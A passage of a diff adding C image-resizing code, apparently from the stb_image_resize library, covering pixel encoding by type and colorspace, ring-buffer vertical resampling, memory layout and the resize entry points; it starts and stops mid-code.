+                for (n = 0; n < channels; n++)
+                {
+                    int index = pixel_index + n;
+                    ((unsigned char*)output_buffer)[index] = STBIR__ENCODE_LINEAR8(encode_buffer[index]);
+                }
+            }
+            break;
+
+        case STBIR__DECODE(STBIR_TYPE_UINT8, STBIR_COLORSPACE_SRGB):
+            for (x=0; x < num_pixels; ++x)
+            {
+                int pixel_index = x*channels;
+
+                for (n = 0; n < num_nonalpha; n++)
+                {
+                    int index = pixel_index + nonalpha[n];
+                    ((unsigned char*)output_buffer)[index] = stbir__linear_to_srgb_uchar(encode_buffer[index]);
+                }
+
+                if (!(stbir_info->flags & STBIR_FLAG_ALPHA_USES_COLORSPACE))
+                    ((unsigned char *)output_buffer)[pixel_index + alpha_channel] = STBIR__ENCODE_LINEAR8(encode_buffer[pixel_index+alpha_channel]);
+            }
+            break;
+
+        case STBIR__DECODE(STBIR_TYPE_UINT16, STBIR_COLORSPACE_LINEAR):
+            for (x=0; x < num_pixels; ++x)
+            {
+                int pixel_index = x*channels;
+
+                for (n = 0; n < channels; n++)
+                {
+                    int index = pixel_index + n;
+                    ((unsigned short*)output_buffer)[index] = STBIR__ENCODE_LINEAR16(encode_buffer[index]);
+                }
+            }
+            break;
+
+        case STBIR__DECODE(STBIR_TYPE_UINT16, STBIR_COLORSPACE_SRGB):
+            for (x=0; x < num_pixels; ++x)
+            {
+                int pixel_index = x*channels;
+
+                for (n = 0; n < num_nonalpha; n++)
+                {
+                    int index = pixel_index + nonalpha[n];
+                    ((unsigned short*)output_buffer)[index] = (unsigned short)STBIR__ROUND_INT(stbir__linear_to_srgb(stbir__saturate(encode_buffer[index])) * stbir__max_uint16_as_float);
+                }
+
+                if (!(stbir_info->flags&STBIR_FLAG_ALPHA_USES_COLORSPACE))
+                    ((unsigned short*)output_buffer)[pixel_index + alpha_channel] = STBIR__ENCODE_LINEAR16(encode_buffer[pixel_index + alpha_channel]);
+            }
+
+            break;
+
+        case STBIR__DECODE(STBIR_TYPE_UINT32, STBIR_COLORSPACE_LINEAR):
+            for (x=0; x < num_pixels; ++x)
+            {
+                int pixel_index = x*channels;
+
+                for (n = 0; n < channels; n++)
+                {
+                    int index = pixel_index + n;
+                    ((unsigned int*)output_buffer)[index] = (unsigned int)STBIR__ROUND_UINT(((double)stbir__saturate(encode_buffer[index])) * stbir__max_uint32_as_float);
+                }
+            }
+            break;
+
+        case STBIR__DECODE(STBIR_TYPE_UINT32, STBIR_COLORSPACE_SRGB):
+            for (x=0; x < num_pixels; ++x)
+            {
+                int pixel_index = x*channels;
+
+                for (n = 0; n < num_nonalpha; n++)
+                {
+                    int index = pixel_index + nonalpha[n];
+                    ((unsigned int*)output_buffer)[index] = (unsigned int)STBIR__ROUND_UINT(((double)stbir__linear_to_srgb(stbir__saturate(encode_buffer[index]))) * stbir__max_uint32_as_float);
+                }
+
+                if (!(stbir_info->flags&STBIR_FLAG_ALPHA_USES_COLORSPACE))
+                    ((unsigned int*)output_buffer)[pixel_index + alpha_channel] = (unsigned int)STBIR__ROUND_INT(((double)stbir__saturate(encode_buffer[pixel_index + alpha_channel])) * stbir__max_uint32_as_float);
+            }
+            break;
+
+        case STBIR__DECODE(STBIR_TYPE_FLOAT, STBIR_COLORSPACE_LINEAR):
+            for (x=0; x < num_pixels; ++x)
+            {
+                int pixel_index = x*channels;
+
+                for (n = 0; n < channels; n++)
+                {
+                    int index = pixel_index + n;
+                    ((float*)output_buffer)[index] = encode_buffer[index];
+                }
+            }
+            break;
+
+        case STBIR__DECODE(STBIR_TYPE_FLOAT, STBIR_COLORSPACE_SRGB):
+            for (x=0; x < num_pixels; ++x)
+            {
+                int pixel_index = x*channels;
+
+                for (n = 0; n < num_nonalpha; n++)
+                {
+                    int index = pixel_index + nonalpha[n];
+                    ((float*)output_buffer)[index] = stbir__linear_to_srgb(encode_buffer[index]);
+                }
+
+                if (!(stbir_info->flags&STBIR_FLAG_ALPHA_USES_COLORSPACE))
+                    ((float*)output_buffer)[pixel_index + alpha_channel] = encode_buffer[pixel_index + alpha_channel];
+            }
+            break;
+
+        default:
+            STBIR_ASSERT(!"Unknown type/colorspace/channels combination.");
+            break;
+    }
+}
+
+static void stbir__resample_vertical_upsample(stbir__info* stbir_info, int n)
+{
+    int x, k;
+    int output_w = stbir_info->output_w;
+    stbir__contributors* vertical_contributors = stbir_info->vertical_contributors;
+    float* vertical_coefficients = stbir_info->vertical_coefficients;
+    int channels = stbir_info->channels;
+    int alpha_channel = stbir_info->alpha_channel;
+    int type = stbir_info->type;
+    int colorspace = stbir_info->colorspace;
+    int ring_buffer_entries = stbir_info->ring_buffer_num_entries;
+    void* output_data = stbir_info->output_data;
+    float* encode_buffer = stbir_info->encode_buffer;
+    int decode = STBIR__DECODE(type, colorspace);
+    int coefficient_width = stbir_info->vertical_coefficient_width;
+    int coefficient_counter;
+    int contributor = n;
+
+    float* ring_buffer = stbir_info->ring_buffer;
+    int ring_buffer_begin_index = stbir_info->ring_buffer_begin_index;
+    int ring_buffer_first_scanline = stbir_info->ring_buffer_first_scanline;
+    int ring_buffer_length = stbir_info->ring_buffer_length_bytes/sizeof(float);
+
+    int n0,n1, output_row_start;
+    int coefficient_group = coefficient_width * contributor;
+
+    n0 = vertical_contributors[contributor].n0;
+    n1 = vertical_contributors[contributor].n1;
+
+    output_row_start = n * stbir_info->output_stride_bytes;
+
+    STBIR_ASSERT(stbir__use_height_upsampling(stbir_info));
+
+    memset(encode_buffer, 0, output_w * sizeof(float) * channels);
+
+    // I tried reblocking this for better cache usage of encode_buffer
+    // (using x_outer, k, x_inner), but it lost speed. -- stb
+
+    coefficient_counter = 0;
+    switch (channels) {
+        case 1:
+            for (k = n0; k <= n1; k++)
+            {
+                int coefficient_index = coefficient_counter++;
+                float* ring_buffer_entry = stbir__get_ring_buffer_scanline(k, ring_buffer, ring_buffer_begin_index, ring_buffer_first_scanline, ring_buffer_entries, ring_buffer_length);
+                float coefficient = vertical_coefficients[coefficient_group + coefficient_index];
+                for (x = 0; x < output_w; ++x)
+                {
+                    int in_pixel_index = x * 1;
+                    encode_buffer[in_pixel_index + 0] += ring_buffer_entry[in_pixel_index + 0] * coefficient;
+                }
+            }
+            break;
+        case 2:
+            for (k = n0; k <= n1; k++)
+            {
+                int coefficient_index = coefficient_counter++;
+                float* ring_buffer_entry = stbir__get_ring_buffer_scanline(k, ring_buffer, ring_buffer_begin_index, ring_buffer_first_scanline, ring_buffer_entries, ring_buffer_length);
+                float coefficient = vertical_coefficients[coefficient_group + coefficient_index];
+                for (x = 0; x < output_w; ++x)
+                {
+                    int in_pixel_index = x * 2;
+                    encode_buffer[in_pixel_index + 0] += ring_buffer_entry[in_pixel_index + 0] * coefficient;
+                    encode_buffer[in_pixel_index + 1] += ring_buffer_entry[in_pixel_index + 1] * coefficient;
+                }
+            }
+            break;
+        case 3:
+            for (k = n0; k <= n1; k++)
+            {
+                int coefficient_index = coefficient_counter++;
+                float* ring_buffer_entry = stbir__get_ring_buffer_scanline(k, ring_buffer, ring_buffer_begin_index, ring_buffer_first_scanline, ring_buffer_entries, ring_buffer_length);
+                float coefficient = vertical_coefficients[coefficient_group + coefficient_index];
+                for (x = 0; x < output_w; ++x)
+                {
+                    int in_pixel_index = x * 3;
+                    encode_buffer[in_pixel_index + 0] += ring_buffer_entry[in_pixel_index + 0] * coefficient;
+                    encode_buffer[in_pixel_index + 1] += ring_buffer_entry[in_pixel_index + 1] * coefficient;
+                    encode_buffer[in_pixel_index + 2] += ring_buffer_entry[in_pixel_index + 2] * coefficient;
+                }
+            }
+            break;
+        case 4:
+            for (k = n0; k <= n1; k++)
+            {
+                int coefficient_index = coefficient_counter++;
+                float* ring_buffer_entry = stbir__get_ring_buffer_scanline(k, ring_buffer, ring_buffer_begin_index, ring_buffer_first_scanline, ring_buffer_entries, ring_buffer_length);
+                float coefficient = vertical_coefficients[coefficient_group + coefficient_index];
+                for (x = 0; x < output_w; ++x)
+                {
+                    int in_pixel_index = x * 4;
+                    encode_buffer[in_pixel_index + 0] += ring_buffer_entry[in_pixel_index + 0] * coefficient;
+                    encode_buffer[in_pixel_index + 1] += ring_buffer_entry[in_pixel_index + 1] * coefficient;
+                    encode_buffer[in_pixel_index + 2] += ring_buffer_entry[in_pixel_index + 2] * coefficient;
+                    encode_buffer[in_pixel_index + 3] += ring_buffer_entry[in_pixel_index + 3] * coefficient;
+                }
+            }
+            break;
+        default:
+            for (k = n0; k <= n1; k++)
+            {
+                int coefficient_index = coefficient_counter++;
+                float* ring_buffer_entry = stbir__get_ring_buffer_scanline(k, ring_buffer, ring_buffer_begin_index, ring_buffer_first_scanline, ring_buffer_entries, ring_buffer_length);
+                float coefficient = vertical_coefficients[coefficient_group + coefficient_index];
+                for (x = 0; x < output_w; ++x)
+                {
+                    int in_pixel_index = x * channels;
+                    int c;
+                    for (c = 0; c < channels; c++)
+                        encode_buffer[in_pixel_index + c] += ring_buffer_entry[in_pixel_index + c] * coefficient;
+                }
+            }
+            break;
+    }
+    stbir__encode_scanline(stbir_info, output_w, (char *) output_data + output_row_start, encode_buffer, channels, alpha_channel, decode);
+}
+
+static void stbir__resample_vertical_downsample(stbir__info* stbir_info, int n)
+{
+    int x, k;
+    int output_w = stbir_info->output_w;
+    stbir__contributors* vertical_contributors = stbir_info->vertical_contributors;
+    float* vertical_coefficients = stbir_info->vertical_coefficients;
+    int channels = stbir_info->channels;
+    int ring_buffer_entries = stbir_info->ring_buffer_num_entries;
+    float* horizontal_buffer = stbir_info->horizontal_buffer;
+    int coefficient_width = stbir_info->vertical_coefficient_width;
+    int contributor = n + stbir_info->vertical_filter_pixel_margin;
+
+    float* ring_buffer = stbir_info->ring_buffer;
+    int ring_buffer_begin_index = stbir_info->ring_buffer_begin_index;
+    int ring_buffer_first_scanline = stbir_info->ring_buffer_first_scanline;
+    int ring_buffer_length = stbir_info->ring_buffer_length_bytes/sizeof(float);
+    int n0,n1;
+
+    n0 = vertical_contributors[contributor].n0;
+    n1 = vertical_contributors[contributor].n1;
+
+    STBIR_ASSERT(!stbir__use_height_upsampling(stbir_info));
+
+    for (k = n0; k <= n1; k++)
+    {
+        int coefficient_index = k - n0;
+        int coefficient_group = coefficient_width * contributor;
+        float coefficient = vertical_coefficients[coefficient_group + coefficient_index];
+
+        float* ring_buffer_entry = stbir__get_ring_buffer_scanline(k, ring_buffer, ring_buffer_begin_index, ring_buffer_first_scanline, ring_buffer_entries, ring_buffer_length);
+
+        switch (channels) {
+            case 1:
+                for (x = 0; x < output_w; x++)
+                {
+                    int in_pixel_index = x * 1;
+                    ring_buffer_entry[in_pixel_index + 0] += horizontal_buffer[in_pixel_index + 0] * coefficient;
+                }
+                break;
+            case 2:
+                for (x = 0; x < output_w; x++)
+                {
+                    int in_pixel_index = x * 2;
+                    ring_buffer_entry[in_pixel_index + 0] += horizontal_buffer[in_pixel_index + 0] * coefficient;
+                    ring_buffer_entry[in_pixel_index + 1] += horizontal_buffer[in_pixel_index + 1] * coefficient;
+                }
+                break;
+            case 3:
+                for (x = 0; x < output_w; x++)
+                {
+                    int in_pixel_index = x * 3;
+                    ring_buffer_entry[in_pixel_index + 0] += horizontal_buffer[in_pixel_index + 0] * coefficient;
+                    ring_buffer_entry[in_pixel_index + 1] += horizontal_buffer[in_pixel_index + 1] * coefficient;
+                    ring_buffer_entry[in_pixel_index + 2] += horizontal_buffer[in_pixel_index + 2] * coefficient;
+                }
+                break;
+            case 4:
+                for (x = 0; x < output_w; x++)
+                {
+                    int in_pixel_index = x * 4;
+                    ring_buffer_entry[in_pixel_index + 0] += horizontal_buffer[in_pixel_index + 0] * coefficient;
+                    ring_buffer_entry[in_pixel_index + 1] += horizontal_buffer[in_pixel_index + 1] * coefficient;
+                    ring_buffer_entry[in_pixel_index + 2] += horizontal_buffer[in_pixel_index + 2] * coefficient;
+                    ring_buffer_entry[in_pixel_index + 3] += horizontal_buffer[in_pixel_index + 3] * coefficient;
+                }
+                break;
+            default:
+                for (x = 0; x < output_w; x++)
+                {
+                    int in_pixel_index = x * channels;
+
+                    int c;
+                    for (c = 0; c < channels; c++)
+                        ring_buffer_entry[in_pixel_index + c] += horizontal_buffer[in_pixel_index + c] * coefficient;
+                }
+                break;
+        }
+    }
+}
+
+static void stbir__buffer_loop_upsample(stbir__info* stbir_info)
+{
+    int y;
+    float scale_ratio = stbir_info->vertical_scale;
+    float out_scanlines_radius = stbir__filter_info_table[stbir_info->vertical_filter].support(1/scale_ratio) * scale_ratio;
+
+    STBIR_ASSERT(stbir__use_height_upsampling(stbir_info));
+
+    for (y = 0; y < stbir_info->output_h; y++)
+    {
+        float in_center_of_out = 0; // Center of the current out scanline in the in scanline space
+        int in_first_scanline = 0, in_last_scanline = 0;
+
+        stbir__calculate_sample_range_upsample(y, out_scanlines_radius, scale_ratio, stbir_info->vertical_shift, &in_first_scanline, &in_last_scanline, &in_center_of_out);
+
+        STBIR_ASSERT(in_last_scanline - in_first_scanline + 1 <= stbir_info->ring_buffer_num_entries);
+
+        if (stbir_info->ring_buffer_begin_index >= 0)
+        {
+            // Get rid of whatever we don't need anymore.
+            while (in_first_scanline > stbir_info->ring_buffer_first_scanline)
+            {
+                if (stbir_info->ring_buffer_first_scanline == stbir_info->ring_buffer_last_scanline)
+                {
+                    // We just popped the last scanline off the ring buffer.
+                    // Reset it to the empty state.
+                    stbir_info->ring_buffer_begin_index = -1;
+                    stbir_info->ring_buffer_first_scanline = 0;
+                    stbir_info->ring_buffer_last_scanline = 0;
+                    break;
+                }
+                else
+                {
+                    stbir_info->ring_buffer_first_scanline++;
+                    stbir_info->ring_buffer_begin_index = (stbir_info->ring_buffer_begin_index + 1) % stbir_info->ring_buffer_num_entries;
+                }
+            }
+        }
+
+        // Load in new ones.
+        if (stbir_info->ring_buffer_begin_index < 0)
+            stbir__decode_and_resample_upsample(stbir_info, in_first_scanline);
+
+        while (in_last_scanline > stbir_info->ring_buffer_last_scanline)
+            stbir__decode_and_resample_upsample(stbir_info, stbir_info->ring_buffer_last_scanline + 1);
+
+        // Now all buffers should be ready to write a row of vertical sampling.
+        stbir__resample_vertical_upsample(stbir_info, y);
+
+        STBIR_PROGRESS_REPORT((float)y / stbir_info->output_h);
+    }
+}
+
+static void stbir__empty_ring_buffer(stbir__info* stbir_info, int first_necessary_scanline)
+{
+    int output_stride_bytes = stbir_info->output_stride_bytes;
+    int channels = stbir_info->channels;
+    int alpha_channel = stbir_info->alpha_channel;
+    int type = stbir_info->type;
+    int colorspace = stbir_info->colorspace;
+    int output_w = stbir_info->output_w;
+    void* output_data = stbir_info->output_data;
+    int decode = STBIR__DECODE(type, colorspace);
+
+    float* ring_buffer = stbir_info->ring_buffer;
+    int ring_buffer_length = stbir_info->ring_buffer_length_bytes/sizeof(float);
+
+    if (stbir_info->ring_buffer_begin_index >= 0)
+    {
+        // Get rid of whatever we don't need anymore.
+        while (first_necessary_scanline > stbir_info->ring_buffer_first_scanline)
+        {
+            if (stbir_info->ring_buffer_first_scanline >= 0 && stbir_info->ring_buffer_first_scanline < stbir_info->output_h)
+            {
+                int output_row_start = stbir_info->ring_buffer_first_scanline * output_stride_bytes;
+                float* ring_buffer_entry = stbir__get_ring_buffer_entry(ring_buffer, stbir_info->ring_buffer_begin_index, ring_buffer_length);
+                stbir__encode_scanline(stbir_info, output_w, (char *) output_data + output_row_start, ring_buffer_entry, channels, alpha_channel, decode);
+                STBIR_PROGRESS_REPORT((float)stbir_info->ring_buffer_first_scanline / stbir_info->output_h);
+            }
+
+            if (stbir_info->ring_buffer_first_scanline == stbir_info->ring_buffer_last_scanline)
+            {
+                // We just popped the last scanline off the ring buffer.
+                // Reset it to the empty state.
+                stbir_info->ring_buffer_begin_index = -1;
+                stbir_info->ring_buffer_first_scanline = 0;
+                stbir_info->ring_buffer_last_scanline = 0;
+                break;
+            }
+            else
+            {
+                stbir_info->ring_buffer_first_scanline++;
+                stbir_info->ring_buffer_begin_index = (stbir_info->ring_buffer_begin_index + 1) % stbir_info->ring_buffer_num_entries;
+            }
+        }
+    }
+}
+
+static void stbir__buffer_loop_downsample(stbir__info* stbir_info)
+{
+    int y;
+    float scale_ratio = stbir_info->vertical_scale;
+    int output_h = stbir_info->output_h;
+    float in_pixels_radius = stbir__filter_info_table[stbir_info->vertical_filter].support(scale_ratio) / scale_ratio;
+    int pixel_margin = stbir_info->vertical_filter_pixel_margin;
+    int max_y = stbir_info->input_h + pixel_margin;
+
+    STBIR_ASSERT(!stbir__use_height_upsampling(stbir_info));
+
+    for (y = -pixel_margin; y < max_y; y++)
+    {
+        float out_center_of_in; // Center of the current out scanline in the in scanline space
+        int out_first_scanline, out_last_scanline;
+
+        stbir__calculate_sample_range_downsample(y, in_pixels_radius, scale_ratio, stbir_info->vertical_shift, &out_first_scanline, &out_last_scanline, &out_center_of_in);
+
+        STBIR_ASSERT(out_last_scanline - out_first_scanline + 1 <= stbir_info->ring_buffer_num_entries);
+
+        if (out_last_scanline < 0 || out_first_scanline >= output_h)
+            continue;
+
+        stbir__empty_ring_buffer(stbir_info, out_first_scanline);
+
+        stbir__decode_and_resample_downsample(stbir_info, y);
+
+        // Load in new ones.
+        if (stbir_info->ring_buffer_begin_index < 0)
+            stbir__add_empty_ring_buffer_entry(stbir_info, out_first_scanline);
+
+        while (out_last_scanline > stbir_info->ring_buffer_last_scanline)
+            stbir__add_empty_ring_buffer_entry(stbir_info, stbir_info->ring_buffer_last_scanline + 1);
+
+        // Now the horizontal buffer is ready to write to all ring buffer rows.
+        stbir__resample_vertical_downsample(stbir_info, y);
+    }
+
+    stbir__empty_ring_buffer(stbir_info, stbir_info->output_h);
+}
+
+static void stbir__setup(stbir__info *info, int input_w, int input_h, int output_w, int output_h, int channels)
+{
+    info->input_w = input_w;
+    info->input_h = input_h;
+    info->output_w = output_w;
+    info->output_h = output_h;
+    info->channels = channels;
+}
+
+static void stbir__calculate_transform(stbir__info *info, float s0, float t0, float s1, float t1, float *transform)
+{
+    info->s0 = s0;
+    info->t0 = t0;
+    info->s1 = s1;
+    info->t1 = t1;
+
+    if (transform)
+    {
+        info->horizontal_scale = transform[0];
+        info->vertical_scale   = transform[1];
+        info->horizontal_shift = transform[2];
+        info->vertical_shift   = transform[3];
+    }
+    else
+    {
+        info->horizontal_scale = ((float)info->output_w / info->input_w) / (s1 - s0);
+        info->vertical_scale = ((float)info->output_h / info->input_h) / (t1 - t0);
+
+        info->horizontal_shift = s0 * info->output_w / (s1 - s0);
+        info->vertical_shift = t0 * info->output_h / (t1 - t0);
+    }
+}
+
+static void stbir__choose_filter(stbir__info *info, stbir_filter h_filter, stbir_filter v_filter)
+{
+    if (h_filter == 0)
+        h_filter = stbir__use_upsampling(info->horizontal_scale) ? STBIR_DEFAULT_FILTER_UPSAMPLE : STBIR_DEFAULT_FILTER_DOWNSAMPLE;
+    if (v_filter == 0)
+        v_filter = stbir__use_upsampling(info->vertical_scale)   ? STBIR_DEFAULT_FILTER_UPSAMPLE : STBIR_DEFAULT_FILTER_DOWNSAMPLE;
+    info->horizontal_filter = h_filter;
+    info->vertical_filter = v_filter;
+}
+
+static stbir_uint32 stbir__calculate_memory(stbir__info *info)
+{
+    int pixel_margin = stbir__get_filter_pixel_margin(info->horizontal_filter, info->horizontal_scale);
+    int filter_height = stbir__get_filter_pixel_width(info->vertical_filter, info->vertical_scale);
+
+    info->horizontal_num_contributors = stbir__get_contributors(info->horizontal_scale, info->horizontal_filter, info->input_w, info->output_w);
+    info->vertical_num_contributors   = stbir__get_contributors(info->vertical_scale  , info->vertical_filter  , info->input_h, info->output_h);
+
+    // One extra entry because floating point precision problems sometimes cause an extra to be necessary.
+    info->ring_buffer_num_entries = filter_height + 1;
+
+    info->horizontal_contributors_size = info->horizontal_num_contributors * sizeof(stbir__contributors);
+    info->horizontal_coefficients_size = stbir__get_total_horizontal_coefficients(info) * sizeof(float);
+    info->vertical_contributors_size = info->vertical_num_contributors * sizeof(stbir__contributors);
+    info->vertical_coefficients_size = stbir__get_total_vertical_coefficients(info) * sizeof(float);
+    info->decode_buffer_size = (info->input_w + pixel_margin * 2) * info->channels * sizeof(float);
+    info->horizontal_buffer_size = info->output_w * info->channels * sizeof(float);
+    info->ring_buffer_size = info->output_w * info->channels * info->ring_buffer_num_entries * sizeof(float);
+    info->encode_buffer_size = info->output_w * info->channels * sizeof(float);
+
+    STBIR_ASSERT(info->horizontal_filter != 0);
+    STBIR_ASSERT(info->horizontal_filter < STBIR__ARRAY_SIZE(stbir__filter_info_table)); // this now happens too late
+    STBIR_ASSERT(info->vertical_filter != 0);
+    STBIR_ASSERT(info->vertical_filter < STBIR__ARRAY_SIZE(stbir__filter_info_table)); // this now happens too late
+
+    if (stbir__use_height_upsampling(info))
+        // The horizontal buffer is for when we're downsampling the height and we
+        // can't output the result of sampling the decode buffer directly into the
+        // ring buffers.
+        info->horizontal_buffer_size = 0;
+    else
+        // The encode buffer is to retain precision in the height upsampling method
+        // and isn't used when height downsampling.
+        info->encode_buffer_size = 0;
+
+    return info->horizontal_contributors_size + info->horizontal_coefficients_size
+        + info->vertical_contributors_size + info->vertical_coefficients_size
+        + info->decode_buffer_size + info->horizontal_buffer_size
+        + info->ring_buffer_size + info->encode_buffer_size;
+}
+
+static int stbir__resize_allocated(stbir__info *info,
+    const void* input_data, int input_stride_in_bytes,
+    void* output_data, int output_stride_in_bytes,
+    int alpha_channel, stbir_uint32 flags, stbir_datatype type,
+    stbir_edge edge_horizontal, stbir_edge edge_vertical, stbir_colorspace colorspace,
+    void* tempmem, size_t tempmem_size_in_bytes)
+{
+    size_t memory_required = stbir__calculate_memory(info);
+
+    int width_stride_input = input_stride_in_bytes ? input_stride_in_bytes : info->channels * info->input_w * stbir__type_size[type];
+    int width_stride_output = output_stride_in_bytes ? output_stride_in_bytes : info->channels * info->output_w * stbir__type_size[type];
+
+#ifdef STBIR_DEBUG_OVERWRITE_TEST
+#define OVERWRITE_ARRAY_SIZE 8
+    unsigned char overwrite_output_before_pre[OVERWRITE_ARRAY_SIZE];
+    unsigned char overwrite_tempmem_before_pre[OVERWRITE_ARRAY_SIZE];
+    unsigned char overwrite_output_after_pre[OVERWRITE_ARRAY_SIZE];
+    unsigned char overwrite_tempmem_after_pre[OVERWRITE_ARRAY_SIZE];
+
+    size_t begin_forbidden = width_stride_output * (info->output_h - 1) + info->output_w * info->channels * stbir__type_size[type];
+    memcpy(overwrite_output_before_pre, &((unsigned char*)output_data)[-OVERWRITE_ARRAY_SIZE], OVERWRITE_ARRAY_SIZE);
+    memcpy(overwrite_output_after_pre, &((unsigned char*)output_data)[begin_forbidden], OVERWRITE_ARRAY_SIZE);
+    memcpy(overwrite_tempmem_before_pre, &((unsigned char*)tempmem)[-OVERWRITE_ARRAY_SIZE], OVERWRITE_ARRAY_SIZE);
+    memcpy(overwrite_tempmem_after_pre, &((unsigned char*)tempmem)[tempmem_size_in_bytes], OVERWRITE_ARRAY_SIZE);
+#endif
+
+    STBIR_ASSERT(info->channels >= 0);
+    STBIR_ASSERT(info->channels <= STBIR_MAX_CHANNELS);
+
+    if (info->channels < 0 || info->channels > STBIR_MAX_CHANNELS)
+        return 0;
+
+    STBIR_ASSERT(info->horizontal_filter < STBIR__ARRAY_SIZE(stbir__filter_info_table));
+    STBIR_ASSERT(info->vertical_filter < STBIR__ARRAY_SIZE(stbir__filter_info_table));
+
+    if (info->horizontal_filter >= STBIR__ARRAY_SIZE(stbir__filter_info_table))
+        return 0;
+    if (info->vertical_filter >= STBIR__ARRAY_SIZE(stbir__filter_info_table))
+        return 0;
+
+    if (alpha_channel < 0)
+        flags |= STBIR_FLAG_ALPHA_USES_COLORSPACE | STBIR_FLAG_ALPHA_PREMULTIPLIED;
+
+    if (!(flags&STBIR_FLAG_ALPHA_USES_COLORSPACE) || !(flags&STBIR_FLAG_ALPHA_PREMULTIPLIED))
+        STBIR_ASSERT(alpha_channel >= 0 && alpha_channel < info->channels);
+
+    if (alpha_channel >= info->channels)
+        return 0;
+
+    STBIR_ASSERT(tempmem);
+
+    if (!tempmem)
+        return 0;
+
+    STBIR_ASSERT(tempmem_size_in_bytes >= memory_required);
+
+    if (tempmem_size_in_bytes < memory_required)
+        return 0;
+
+    memset(tempmem, 0, tempmem_size_in_bytes);
+
+    info->input_data = input_data;
+    info->input_stride_bytes = width_stride_input;
+
+    info->output_data = output_data;
+    info->output_stride_bytes = width_stride_output;
+
+    info->alpha_channel = alpha_channel;
+    info->flags = flags;
+    info->type = type;
+    info->edge_horizontal = edge_horizontal;
+    info->edge_vertical = edge_vertical;
+    info->colorspace = colorspace;
+
+    info->horizontal_coefficient_width   = stbir__get_coefficient_width  (info->horizontal_filter, info->horizontal_scale);
+    info->vertical_coefficient_width     = stbir__get_coefficient_width  (info->vertical_filter  , info->vertical_scale  );
+    info->horizontal_filter_pixel_width  = stbir__get_filter_pixel_width (info->horizontal_filter, info->horizontal_scale);
+    info->vertical_filter_pixel_width    = stbir__get_filter_pixel_width (info->vertical_filter  , info->vertical_scale  );
+    info->horizontal_filter_pixel_margin = stbir__get_filter_pixel_margin(info->horizontal_filter, info->horizontal_scale);
+    info->vertical_filter_pixel_margin   = stbir__get_filter_pixel_margin(info->vertical_filter  , info->vertical_scale  );
+
+    info->ring_buffer_length_bytes = info->output_w * info->channels * sizeof(float);
+    info->decode_buffer_pixels = info->input_w + info->horizontal_filter_pixel_margin * 2;
+
+#define STBIR__NEXT_MEMPTR(current, newtype) (newtype*)(((unsigned char*)current) + current##_size)
+
+    info->horizontal_contributors = (stbir__contributors *) tempmem;
+    info->horizontal_coefficients = STBIR__NEXT_MEMPTR(info->horizontal_contributors, float);
+    info->vertical_contributors = STBIR__NEXT_MEMPTR(info->horizontal_coefficients, stbir__contributors);
+    info->vertical_coefficients = STBIR__NEXT_MEMPTR(info->vertical_contributors, float);
+    info->decode_buffer = STBIR__NEXT_MEMPTR(info->vertical_coefficients, float);
+
+    if (stbir__use_height_upsampling(info))
+    {
+        info->horizontal_buffer = NULL;
+        info->ring_buffer = STBIR__NEXT_MEMPTR(info->decode_buffer, float);
+        info->encode_buffer = STBIR__NEXT_MEMPTR(info->ring_buffer, float);
+
+        STBIR_ASSERT((size_t)STBIR__NEXT_MEMPTR(info->encode_buffer, unsigned char) == (size_t)tempmem + tempmem_size_in_bytes);
+    }
+    else
+    {
+        info->horizontal_buffer = STBIR__NEXT_MEMPTR(info->decode_buffer, float);
+        info->ring_buffer = STBIR__NEXT_MEMPTR(info->horizontal_buffer, float);
+        info->encode_buffer = NULL;
+
+        STBIR_ASSERT((size_t)STBIR__NEXT_MEMPTR(info->ring_buffer, unsigned char) == (size_t)tempmem + tempmem_size_in_bytes);
+    }
+
+#undef STBIR__NEXT_MEMPTR
+
+    // This signals that the ring buffer is empty
+    info->ring_buffer_begin_index = -1;
+
+    stbir__calculate_filters(info->horizontal_contributors, info->horizontal_coefficients, info->horizontal_filter, info->horizontal_scale, info->horizontal_shift, info->input_w, info->output_w);
+    stbir__calculate_filters(info->vertical_contributors, info->vertical_coefficients, info->vertical_filter, info->vertical_scale, info->vertical_shift, info->input_h, info->output_h);
+
+    STBIR_PROGRESS_REPORT(0);
+
+    if (stbir__use_height_upsampling(info))
+        stbir__buffer_loop_upsample(info);
+    else
+        stbir__buffer_loop_downsample(info);
+
+    STBIR_PROGRESS_REPORT(1);
+
+#ifdef STBIR_DEBUG_OVERWRITE_TEST
+    STBIR_ASSERT(memcmp(overwrite_output_before_pre, &((unsigned char*)output_data)[-OVERWRITE_ARRAY_SIZE], OVERWRITE_ARRAY_SIZE) == 0);
+    STBIR_ASSERT(memcmp(overwrite_output_after_pre, &((unsigned char*)output_data)[begin_forbidden], OVERWRITE_ARRAY_SIZE) == 0);
+    STBIR_ASSERT(memcmp(overwrite_tempmem_before_pre, &((unsigned char*)tempmem)[-OVERWRITE_ARRAY_SIZE], OVERWRITE_ARRAY_SIZE) == 0);
+    STBIR_ASSERT(memcmp(overwrite_tempmem_after_pre, &((unsigned char*)tempmem)[tempmem_size_in_bytes], OVERWRITE_ARRAY_SIZE) == 0);
+#endif
+
+    return 1;
+}
+
+
+static int stbir__resize_arbitrary(
+    void *alloc_context,
+    const void* input_data, int input_w, int input_h, int input_stride_in_bytes,
+    void* output_data, int output_w, int output_h, int output_stride_in_bytes,
+    float s0, float t0, float s1, float t1, float *transform,
+    int channels, int alpha_channel, stbir_uint32 flags, stbir_datatype type,
+    stbir_filter h_filter, stbir_filter v_filter,
+    stbir_edge edge_horizontal, stbir_edge edge_vertical, stbir_colorspace colorspace)
+{
+    stbir__info info;
+    int result;
+    size_t memory_required;
+    void* extra_memory;
+
+    stbir__setup(&info, input_w, input_h, output_w, output_h, channels);
+    stbir__calculate_transform(&info, s0,t0,s1,t1,transform);
+    stbir__choose_filter(&info, h_filter, v_filter);
+    memory_required = stbir__calculate_memory(&info);
+    extra_memory = STBIR_MALLOC(memory_required, alloc_context);
+
+    if (!extra_memory)
+        return 0;
+
+    result = stbir__resize_allocated(&info, input_data, input_stride_in_bytes,
+                                            output_data, output_stride_in_bytes, 
+                                            alpha_channel, flags, type,
+                                            edge_horizontal, edge_vertical,
+                                            colorspace, extra_memory, memory_required);
+
+    STBIR_FREE(extra_memory, alloc_context);
+
+    return result;
+}
+
+STBIRDEF int stbir_resize_uint8(     const unsigned char *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                           unsigned char *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                     int num_channels)
+{
+    return stbir__resize_arbitrary(NULL, input_pixels, input_w, input_h, input_stride_in_bytes,
+        output_pixels, output_w, output_h, output_stride_in_bytes,
